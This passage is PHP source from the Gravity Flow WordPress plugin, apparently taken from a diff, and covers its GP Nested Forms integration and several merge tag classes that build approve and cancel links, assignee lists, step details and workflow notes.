* @return array
*/
public function filter_gravityflow_status_filter( $args ) {
$parent_entry_id = rgget( GPNF_Entry::ENTRY_PARENT_KEY );
$nested_form_field_id = rgget( GPNF_Entry::ENTRY_NESTED_FORM_FIELD_KEY );
if ( ! $parent_entry_id || ! $nested_form_field_id ) {
return $args;
}
$args['form_id'] = rgget( 'id' );
$args['field_filters'][] = array(
'key' => GPNF_Entry::ENTRY_PARENT_KEY,
'value' => $parent_entry_id
);
$args['field_filters'][] = array(
'key' => GPNF_Entry::ENTRY_NESTED_FORM_FIELD_KEY,
'value' => $nested_form_field_id
);
return $args;
}
/**
* If this is the workflow detail page add the hooks which need loading first.
*
* @since 2.0.2-dev
*/
private function maybe_add_detail_page_hooks() {
if ( ! gravity_flow()->is_workflow_detail_page() ) {
return;
}
add_action( 'gform_after_update_entry', array( $this, 'action_gform_after_update_entry' ), 10, 3 );
add_action( 'gravityflow_step_complete', array( $this, 'action_gravityflow_step_complete' ), 10, 5 );
add_filter( 'gravityflow_field_value_entry_editor', array(
$this,
'filter_gravityflow_field_value_entry_editor'
), 10, 5 );
add_filter( 'gravityflow_is_delayed_pre_process_workflow', array(
$this,
'filter_gravityflow_is_delayed_pre_process_workflow'
) );
add_filter( 'gpnf_entry_url', array( $this, 'filter_gpnf_entry_url' ), 10, 3 );
add_filter( 'gpnf_template_args', array( $this, 'filter_gpnf_template_args' ), 10, 2 );
$this->maybe_delete_cookie();
}
/**
* Delays processing of the workflow for the child form entries.
*
* @since 2.0.2-dev
*
* @param bool $is_delayed Indicates if workflow processing is delayed.
*
* @return bool
*/
public function filter_gravityflow_is_delayed_pre_process_workflow( $is_delayed ) {
if ( gp_nested_forms()->is_nested_form_submission() ) {
$parent_form = GFAPI::get_form( gp_nested_forms()->get_parent_form_id() );
$nested_form_field = gp_nested_forms()->get_posted_nested_form_field( $parent_form );
$is_delayed = $nested_form_field->gpnfFeedProcessing !== 'child';
}
return $is_delayed;
}
/**
* Replaces the entry detail page URL with the workflow detail page URL for the child entry.
*
* @since 2.0.2-dev
*
* @param string $url The entry detail page URL.
* @param int $entry_id The child entry ID.
* @param int $form_id The Nested Form form ID.
*
* @return string
*/
public function filter_gpnf_entry_url( $url, $entry_id, $form_id ) {
return add_query_arg( array( 'id' => $form_id, 'lid' => $entry_id ) );
}
/**
* Replaces the entries list page URL with the status page URL.
*
* @since 2.0.2-dev
*
* @param array $args The arguments that will be used to render the Nested Form field template.
* @param GF_Field $field The Nested Form field.
*
* @return array
*/
public function filter_gpnf_template_args( $args, $field ) {
if ( isset( $args['related_entries_link'] ) ) {
$url = $this->get_related_entries_url( $field );
$args['related_entries_link'] = $url ? preg_replace( '~href=".+"~', 'href="' . $url . '"', $args['related_entries_link'] ) : '';
}
return $args;
}
/**
* Returns the Status page URL configured with the Nested Forms query arguments for listing the child entries.
*
* @since 2.0.2-dev
*
* @param GF_Field $field The Nested Form field.
*
* @return bool|string
*/
public function get_related_entries_url( $field ) {
if ( ! GFAPI::current_user_can_any( array( 'gravityflow_status', 'gravityflow_status_view_all' ) ) ) {
return false;
}
$url = false;
$query_args = array(
'page' => 'gravityflow-status',
'id' => $field->gpnfForm,
GPNF_Entry::ENTRY_PARENT_KEY => rgget( 'lid' ),
GPNF_Entry::ENTRY_NESTED_FORM_FIELD_KEY => $field->id,
);
if ( ! is_admin() ) {
$page_id = gravity_flow()->get_app_setting( 'status_page' );
if ( $page_id !== 'admin' ) {
$url = get_permalink( $page_id );
}
if ( ! $url ) {
return false;
}
$query_args['page'] = false;
}
return add_query_arg( $query_args, $url );
}
/**
* Determines if the current field is an editable Nested Form field so the required functionality can be included.
*
* @since 2.0.2-dev
*
* @param mixed $value The current field value.
* @param GF_Field $field The current field.
* @param array $form The parent form.
* @param array $entry The parent entry.
* @param Gravity_Flow_Step $current_step The current step for the parent entry.
*
* @return mixed
*/
public function filter_gravityflow_field_value_entry_editor( $value, $field, $form, $entry, $current_step ) {
if ( $field->type === 'form' ) {
$this->_form = $form;
$this->_entry = $entry;
$this->_current_step = $current_step;
$this->_nested_forms[] = $field->gpnfForm;
$this->add_late_hooks( $form['id'], $field->id );
}
return $value;
}
/**
* Includes the hooks which will enable the Nested Form field to function on the entry editor.
*
* @since 2.0.2-dev
*
* @param int $form_id The parent form ID.
* @param int $field_id The current Nested Form field ID.
*/
private function add_late_hooks( $form_id, $field_id ) {
// Removing to prevent the child form markup being generated before the entry editor filters are removed.
remove_action( 'gform_get_form_filter', array( gp_nested_forms(), 'handle_nested_forms_markup' ) );
add_filter( "gpnf_init_script_args_{$form_id}_{$field_id}", array(
$this,
'filter_gpnf_init_script_args'
), 10, 2 );
if ( ! has_action( 'admin_footer', array( $this, 'output_nested_forms_markup' ) ) ) {
add_action( 'admin_footer', array( $this, 'output_nested_forms_markup' ) );
}
if ( ! has_action( 'wp_footer', array( $this, 'output_nested_forms_markup' ) ) ) {
add_action( 'wp_footer', array( $this, 'output_nested_forms_markup' ) );
}
}
/**
* Generate and output the child form and modal markup for the Nested Form field in the page footer.
*
* @since 2.0.2-dev
*/
public function output_nested_forms_markup() {
// Prevent GFCommon::get_field_input() displaying the "Product fields are not editable" message.
unset( $_GET['view'] );
echo gp_nested_forms()->get_nested_forms_markup( $this->get_form() );
if ( is_admin() ) {
// GP Nested Forms forces the child form init scripts into the footer and uses gform_footer_init_scripts_filter to modify them.
// GFForms::get_form() does not call GFFormDisplay::footer_init_scripts() in the admin.
foreach ( $this->_nested_forms as $nested_form_id ) {
GFFormDisplay::footer_init_scripts( $nested_form_id );
}
}
}
/**
* If the child form has entries for this parent entry add them to the fields init script arguments so they will be listed in the table on field render.
*
* @since 2.0.2-dev
*
* @param array $args The arguments that will be used to initialize the nested forms frontend script.
* @param GF_Field $field The Nested Form field object.
*
* @return array
*/
public function filter_gpnf_init_script_args( $args, $field ) {
if ( empty( $args['entries'] ) && ! $this->is_current_step_submission() ) {
$value = GFFormsModel::get_lead_field_value( $this->get_entry(), $field );
$entries = gp_nested_forms()->get_entries( $value );
if ( ! empty( $entries ) ) {
$nested_form = GFAPI::get_form( $field->gpnfForm );
foreach ( $entries as $entry ) {
$args['entries'][] = gp_nested_forms()->get_entry_display_values( $entry, $nested_form, $field->gpnfFields );
}
}
}
return $args;
}
/**
* Determines if the parent entry values of any Nested Form fields have changed so an entry meta item can be set to flag them for processing on step completion.
*
* @since 2.0.2-dev
*
* @param array $form The parent form.
* @param int $entry_id The parent entry ID.
* @param array $original_entry The parent entry before it was updated.
*/
public function action_gform_after_update_entry( $form, $entry_id, $original_entry ) {
if ( ! $this->is_current_step_submission() ) {
return;
}
foreach ( $form['fields'] as $field ) {
if ( $field->type !== 'form' ) {
continue;
}
$entry = GFAPI::get_entry( $entry_id );
if ( rgar( $entry, $field->id ) !== rgar( $original_entry, $field->id ) ) {
gform_update_meta( $entry_id, $this->get_meta_key(), true, $form['id'] );
break;
}
}
}
/**
* Triggers processing of the Nested Form fields, if the entry meta item indicates processing is required.
*
* @since 2.0.2-dev
*
* @param int $step_id The parent step ID.
* @param int $entry_id The parent entry ID.
* @param int $form_id The parent form ID.
* @param string $status The step status.
* @param Gravity_Flow_Step $current_step The step being completed by the parent form.
*/
public function action_gravityflow_step_complete( $step_id, $entry_id, $form_id, $status, $current_step ) {
$meta_key = $this->get_meta_key( $step_id );
$requires_processing = gform_get_meta( $entry_id, $meta_key );
if ( $requires_processing ) {
$current_step->log_debug( __METHOD__ . '(): triggering processing of delayed nested form notifications and feeds.' );
$entry = $current_step->get_entry();
$form = $current_step->get_form();
$this->maybe_process_nested_forms( $entry, $form );
gform_delete_meta( $entry_id, $meta_key );
}
}
/**
* Triggers processing of any Nested Form fields for the supplied parent form and entry.
*
* @since 2.0.2-dev
*
* @param array $entry The parent entry.
* @param array $form The parent form.
*/
private function maybe_process_nested_forms( $entry, $form ) {
remove_filter( 'gravityflow_is_delayed_pre_process_workflow', array(
$this,
'filter_gravityflow_is_delayed_pre_process_workflow'
) );
foreach ( $form['fields'] as $field ) {
if ( $field->type !== 'form' ) {
continue;
}
$this->maybe_process_nested_form( $field, $entry );
}
gpnf_notification_processing()->maybe_send_child_notifications( $entry, $form );
gpnf_feed_processing()->process_feeds( $entry, $form );
}
/**
* Triggers processing of the child entries for the supplied Nested Form field.
*
* @since 2.0.2-dev
*
* @param GF_Field $field The Nested Form field.
* @param array $entry The parent entry.
*/
private function maybe_process_nested_form( $field, $entry ) {
$child_entries = gp_nested_forms()->get_entries( rgar( $entry, $field->id ) );
if ( empty( $child_entries ) ) {
return;
}
$nested_form = GFAPI::get_form( $field->gpnfForm );
foreach ( $child_entries as $child_entry ) {
$this->process_child_entry( $child_entry, $nested_form, $field, $entry['id'] );
}
}
/**
* Processes the child form entry.
*
* Creates the post, links the child entry with the parent entry, and starts the workflow.
*
* @since 2.0.2-dev
*
* @param array $entry The child form entry.
* @param array $nested_form The Nested Form.
* @param GF_Field $nested_form_field The Nested Form field from the parent form.
* @param int $parent_entry_id The parent entry ID.
*/
private function process_child_entry( $entry, $nested_form, $nested_form_field, $parent_entry_id ) {
GFCommon::create_post( $nested_form, $entry );
$entry_object = new GPNF_Entry( $entry );
$entry_object->set_parent_form( $nested_form_field->formId, $parent_entry_id );
if ( $nested_form_field->gpnfFeedProcessing === 'child' ) {
return;
}
gravity_flow()->action_entry_created( $entry, $nested_form );
gravity_flow()->process_workflow( $nested_form, $entry['id'] );
}
}
Gravity_Flow_GP_Nested_Forms::get_instance();

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

View File

@@ -0,0 +1,121 @@
<?php
/**
* Gravity Flow Merge Tag Assignee Base
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Assignee_Base
*
* An abstract class used as the base for all assignee specific merge tags.
*
* @since 2.1.2-dev
*/
abstract class Gravity_Flow_Merge_Tag_Assignee_Base extends Gravity_Flow_Merge_Tag {
/**
* Returns the inbox URL.
*
* @param int|null $page_id The ID of the WordPress Page where the shortcode is located.
* @param string $access_token The access token for the current assignee.
*
* @return string
*/
public function get_inbox_url( $page_id = null, $access_token = '' ) {
$query_args = array(
'page' => 'gravityflow-inbox',
);
return Gravity_Flow_Common::get_workflow_url( $query_args, $page_id, $this->assignee, $access_token );
}
/**
* Returns the entry URL.
*
* @param int|null $page_id The ID of the WordPress Page where the shortcode is located.
* @param string $access_token The access token for the current assignee.
*
* @return string
*/
public function get_entry_url( $page_id = null, $access_token = '' ) {
$form_id = $this->step ? $this->step->get_form_id() : false;
if ( empty( $form_id ) && ! empty( $this->form ) ) {
$form_id = $this->form['id'];
}
if ( empty( $form_id ) ) {
return false;
}
$entry_id = $this->step ? $this->step->get_entry_id() : false;
if ( empty( $entry_id ) && ! empty( $this->entry ) ) {
$entry_id = $this->entry['id'];
}
if ( empty( $entry_id ) ) {
return false;
}
$query_args = array(
'page' => 'gravityflow-inbox',
'view' => 'entry',
'id' => $form_id,
'lid' => $entry_id,
);
return Gravity_Flow_Common::get_workflow_url( $query_args, $page_id, $this->assignee, $access_token );
}
/**
* Get the number of days the token will remain valid for.
*
* @return int
*/
protected function get_token_expiration_days() {
return apply_filters( 'gravityflow_entry_token_expiration_days', 30, $this->assignee );
}
/**
* Get the scopes to be used when generating the access token.
*
* @param string $action The access token action.
*
* @return array
*/
protected function get_token_scopes( $action = '' ) {
if ( empty( $action ) ) {
return array();
}
return array(
'pages' => array( 'inbox' ),
'step_id' => $this->step->get_id(),
'entry_timestamp' => $this->step->get_entry_timestamp(),
'entry_id' => $this->step->get_entry_id(),
'action' => $action,
);
}
/**
* Get the token for the current assignee and step.
*
* @param string $action The access token action.
*
* @return string
*/
protected function get_token( $action = '' ) {
$scopes = $this->get_token_scopes( $action );
$expiration_timestamp = strtotime( '+' . (int) $this->get_token_expiration_days() . ' days' );
return gravity_flow()->generate_access_token( $this->assignee, $scopes, $expiration_timestamp );
}
}

View File

@@ -0,0 +1,108 @@
<?php
/**
* Gravity Flow Assignee Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Assignees
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Assignees extends Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'assignees';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{assignees(:(.*?))?}/';
/**
* Replace the {assignees} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
if ( empty( $this->step ) ) {
return $text;
}
$current_step = $this->step;
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$options_string = isset( $match[2] ) ? $match[2] : '';
$a = $this->get_attributes( $options_string, array(
'status' => true,
'user_email' => true,
'display_name' => true,
) );
$assignees = $current_step->get_assignees();
$assignees_text_arr = array();
/**
* The step assignees.
*
* @var Gravity_Flow_Assignee[]
*/
foreach ( $assignees as $step_assignee ) {
$assignee_line = '';
if ( $a['display_name'] ) {
$assignee_line .= $step_assignee->get_display_name();
}
if ( $a['user_email'] && $step_assignee->get_type() == 'user_id' ) {
if ( $assignee_line ) {
$assignee_line .= ', ';
}
$assignee_user = new WP_User( $step_assignee->get_id() );
$assignee_line .= $assignee_user->user_email;
}
if ( $a['status'] ) {
$status = $step_assignee->get_status();
if ( ! $status ) {
$status = 'pending';
}
$assignee_line .= ' (' . gravity_flow()->translate_status_label( $status ) . ')';
}
$assignees_text_arr[] = $assignee_line;
}
$assignees_text = join( "\n", $assignees_text_arr );
$text = str_replace( $full_tag, $this->format_value( $assignees_text ), $text );
}
}
return $text;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Assignees );

View File

@@ -0,0 +1,87 @@
<?php
/**
* Gravity Flow Created By Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Created_By
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Created_By extends Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'created_by';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{created_by(:(.*?))?}/';
/**
* Replace the {created_by} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text to be processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->entry ) || empty( $this->entry['created_by'] ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$entry = $this->entry;
$entry_creator = new WP_User( $entry['created_by'] );
if ( ! empty( $entry['created_by'] ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$property = isset( $match[2] ) ? $match[2] : 'ID';
if ( $property == 'roles' ) {
$value = implode( ', ', $entry_creator->roles );
} else {
$value = $entry_creator->get( $property );
}
$text = str_replace( $full_tag, $this->format_value( $value ), $text );
}
}
}
return $text;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Created_By );

View File

@@ -0,0 +1,139 @@
<?php
/**
* Gravity Flow Current Step Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Current_Step
*
* @since 2.2.3
*/
class Gravity_Flow_Merge_Tag_Current_Step extends Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 2.2.3-dev
*
* @var string
*/
public $name = 'current_step';
/**
* The regular expression to use for the matching.
*
* @since 2.2.3-dev
*
* @var string
*/
protected $regex = '/{current_step(:(.*?))?}/';
/**
* Replace the {current_step} merge tags.
*
* @since 2.2.3-dev
*
* @param string $text The text to be processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->entry ) || empty( $this->step ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$current_step = $this->step;
foreach ( $matches as $match ) {
$full_tag = $match[0];
$property = isset( $match[2] ) ? $match[2] : 'name';
switch ( $property ) :
case 'duration':
$duration = time() - $current_step->get_step_timestamp();
$value = gravity_flow()->format_duration( $duration );
break;
case 'duration_minutes':
$value = floor( ( time() - $current_step->get_step_timestamp() ) / 60 );
break;
case 'duration_seconds':
$value = time() - $current_step->get_step_timestamp();
break;
case 'expiration':
$expiration_date = $current_step->get_expiration_timestamp();
if ( false !== $expiration_date ) {
$expiration_date_str = date( 'Y-m-d H:i:s', $expiration_date );
$value = get_date_from_gmt( $expiration_date_str );
} else {
$value = '';
}
break;
case 'ID':
$value = $current_step->get_id();
break;
case 'schedule':
if ( $current_step->scheduled ) {
$scheduled_timestamp = $current_step->get_schedule_timestamp();
switch ( $current_step->schedule_type ) {
case 'date':
$value = $current_step->schedule_date;
break;
case 'date_field':
$scheduled_date_str = date( 'Y-m-d H:i:s', $scheduled_timestamp );
$value = get_date_from_gmt( $scheduled_date_str );
break;
case 'delay':
default:
$scheduled_date_str = date( 'Y-m-d H:i:s', $scheduled_timestamp );
$value = get_date_from_gmt( $scheduled_date_str );
}
} else {
$value = '';
}
break;
case 'start':
$step_date_str = date( 'Y-m-d H:i:s', $current_step->get_step_timestamp() );
$value = get_date_from_gmt( $step_date_str );
break;
case 'type':
$value = $current_step->get_type();
break;
default:
$value = $current_step->get_name();
endswitch;
$text = str_replace( $full_tag, $this->format_value( $value ), $text );
}
return $text;
}
return $text;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Current_Step );

View File

@@ -0,0 +1,85 @@
<?php
/**
* Gravity Flow Workflow Approve Token Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Approve_Token
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Approve_Token extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_approve_token';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_approve_token}/';
/**
* Replace the {workflow_token_link} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->step ) || empty( $this->assignee ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$token = $this->get_token( 'approve' );
$token = $this->format_value( $token );
$text = str_replace( '{workflow_approve_token}', $token, $text );
}
return $text;
}
/**
* Get the number of days the token will remain valid for.
*
* @since 2.1.2-dev
*
* @return int
*/
protected function get_token_expiration_days() {
return apply_filters( 'gravityflow_approval_token_expiration_days', 2, $this->assignee );
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Approve_Token );

View File

@@ -0,0 +1,93 @@
<?php
/**
* Gravity Flow Workflow Approve Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Approve
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Approve extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_approve';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_approve_(url|link)(:(.*?))?}/';
/**
* Replace the {workflow_approve_link} and {workflow_approve_url} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->step ) || empty( $this->assignee ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$approve_token = $this->get_token( 'approve' );
if ( is_array( $matches ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$type = $match[1];
$options_string = isset( $match[3] ) ? $match[3] : '';
$a = $this->get_attributes( $options_string, array(
'page_id' => gravity_flow()->get_app_setting( 'inbox_page' ),
'text' => esc_html__( 'Approve', 'gravityflow' ),
) );
$approve_url = $this->get_entry_url( $a['page_id'], $approve_token );
$approve_url = esc_url_raw( $approve_url );
$approve_url = $this->format_value( $approve_url );
if ( $type == 'link' ) {
$approve_url = sprintf( '<a href="%s">%s</a>', $approve_url, $a['text'] );
}
$text = str_replace( $full_tag, $approve_url, $text );
}
}
}
return $text;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Approve );

View File

@@ -0,0 +1,118 @@
<?php
/**
* Gravity Flow Workflow Cancel Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Cancel
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Cancel extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_cancel';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_cancel_(url|link)(:(.*?))?}/';
/**
* Replace the {workflow_cancel_link} and {workflow_cancel_url} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->step ) || empty( $this->assignee ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$cancel_token = $this->get_token( 'cancel_workflow' );
foreach ( $matches as $match ) {
$full_tag = $match[0];
$type = $match[1];
$options_string = isset( $match[3] ) ? $match[3] : '';
$a = $this->get_attributes( $options_string, array(
'page_id' => gravity_flow()->get_app_setting( 'inbox_page' ),
'text' => esc_html__( 'Cancel Workflow', 'gravityflow' ),
) );
$url = $this->get_entry_url( $a['page_id'], $cancel_token );
$url = $this->format_value( $url );
if ( $type == 'link' ) {
$url = sprintf( '<a href="%s">%s</a>', $url, $a['text'] );
}
$text = str_replace( $full_tag, $url, $text );
}
}
return $text;
}
/**
* Get the number of days the token will remain valid for.
*
* @since 2.1.2-dev
*
* @return int
*/
protected function get_token_expiration_days() {
return apply_filters( 'gravityflow_cancel_token_expiration_days', 2, $this->assignee );
}
/**
* Get the scopes to be used when generating the access token.
*
* @since 2.1.2-dev
*
* @param string $action The access token action.
*
* @return array
*/
protected function get_token_scopes( $action = '' ) {
return array(
'pages' => array( 'inbox' ),
'entry_id' => $this->step->get_entry_id(),
'action' => $action,
);
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Cancel );

View File

@@ -0,0 +1,125 @@
<?php
/**
* Gravity Flow Workflow Fields Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2017, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Fields
*
* @since 2.0.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Fields extends Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 2.0.1-dev
*
* @var null
*/
public $name = 'workflow_fields';
/**
* The regular expression to use for the matching.
*
* @since 2.0.1-dev
*
* @var string
*/
protected $regex = '/{workflow_fields(:(.*?))?}/';
/**
* Replace the {workflow_fields} merge tags with the field values for the current steps display/editable fields.
*
* @since 2.0.1-dev
*
* @param string $text The text to be processed.
*
* @return string
*/
public function replace( $text ) {
$entry = $this->entry;
if ( empty( $entry ) || empty( $this->step ) ) {
return $text;
}
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
add_filter( 'gform_merge_tag_filter', array( $this, 'merge_tag_filter' ), 20, 4 );
foreach ( $matches as $match ) {
$full_tag = $match[0];
$modifiers = rgar( $match, 2 );
$a = $this->get_attributes( $modifiers, array(
'empty' => false, // Output empty fields.
'value' => false, // Output choice values.
'admin' => false, // Output admin labels.
'editable' => true, // Output the steps editable fields.
'display' => true, // Output the steps display fields.
) );
$replacement = GFCommon::get_submitted_fields( $this->form, $entry, $a['empty'], ! $a['value'], $this->format, $a['admin'], $this->name, $this->get_options_string( $a ) );
$text = str_replace( $full_tag, $replacement, $text );
}
remove_filter( 'gform_merge_tag_filter', array( $this, 'merge_tag_filter' ), 20 );
}
return $text;
}
/**
* Prepare a comma separated string containing only those attributes set to true.
*
* @since 2.0.1-dev
*
* @param array $attributes The merge tag attributes.
*
* @return string
*/
public function get_options_string( $attributes ) {
$options = implode( ',', array_keys( array_filter( $attributes ) ) );
return $options;
}
/**
* Prevents GFCommon::get_submitted_fields including non-editable and non-display fields in the content replacing the merge tag.
*
* @since 2.0.1-dev
*
* @param string $value The current merge tag value for the field.
* @param string $merge_tag The current merge tag name.
* @param string $modifiers The modifiers for the current merge tag.
* @param GF_Field $field The field currently being processed.
*
* @return bool
*/
public function merge_tag_filter( $value, $merge_tag, $modifiers, $field ) {
$modifiers_array = $field->get_modifiers();
$display_editable_field = in_array( 'editable', $modifiers_array ) && Gravity_Flow_Common::is_editable_field( $field, $this->step );
$display_display_field = in_array( 'display', $modifiers_array ) && Gravity_Flow_Common::is_display_field( $field, $this->step, $this->form, $this->entry );
if ( ! $display_editable_field && ! $display_display_field ) {
// Removing non-editable and non-display field from merge tag output.
return false;
}
return $value;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Fields );

View File

@@ -0,0 +1,202 @@
<?php
/**
* Gravity Flow Workflow Note Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Note
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Note extends Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_note';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_note(:(.*?))?}/';
/**
* Replace the {workflow_note} merge tags with the user submitted notes.
*
* @since 1.7.1-dev
*
* @param string $text The text to be processed.
*
* @return string
*/
public function replace( $text ) {
$entry = $this->entry;
if ( empty( $entry ) ) {
return $text;
}
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$modifiers = rgar( $match, 2 );
$a = $this->get_attributes( $modifiers, array(
'step_id' => null,
'display_name' => false,
'display_date' => false,
'history' => false,
) );
$replacement = '';
$notes = $this->get_step_notes( $entry['id'], $a['step_id'], $a['history'] );
if ( ! empty( $notes ) ) {
$replacement_array = array();
foreach ( $notes as $note ) {
$name = $a['display_name'] ? self::get_assignee_display_name( $note['assignee_key'] ) : '';
$date = $a['display_date'] ? Gravity_Flow_Common::format_date( $note['timestamp'] ) : '';
$replacement_array[] = self::format_note( $note['value'], $name, $date );
}
$replacement = $this->format_value( implode( "\n\n", $replacement_array ) );
}
$text = str_replace( $full_tag, $replacement, $text );
}
}
return $text;
}
/**
* Get the user submitted notes for a specific step.
*
* @since 1.7.1-dev
*
* @param int $entry_id The current entry ID.
* @param null|string|int $step_id The step ID or name. Null will return the most recent note.
* @param bool $history Include notes from previous occurrences of the specified step.
*
* @return array
*/
protected function get_step_notes( $entry_id, $step_id, $history ) {
$notes = Gravity_Flow_Common::get_workflow_notes( $entry_id, true );
$step_notes = array();
if ( ! is_numeric( $step_id ) && is_string( $step_id ) ) {
// Try to look up the step ID by step name.
$step_id = $this->get_step_id_by_name( $step_id );
}
$step_found = false;
$step_timestamp = $step_id && ! $history ? gform_get_meta( $entry_id, 'workflow_step_' . $step_id . '_timestamp' ) : 0;
$step_status_timestamp = $step_id && ! $history ? gform_get_meta( $entry_id, 'workflow_step_status_' . $step_id . '_timestamp' ) : 0;
foreach ( $notes as $note ) {
if ( $step_found && ! $history &&
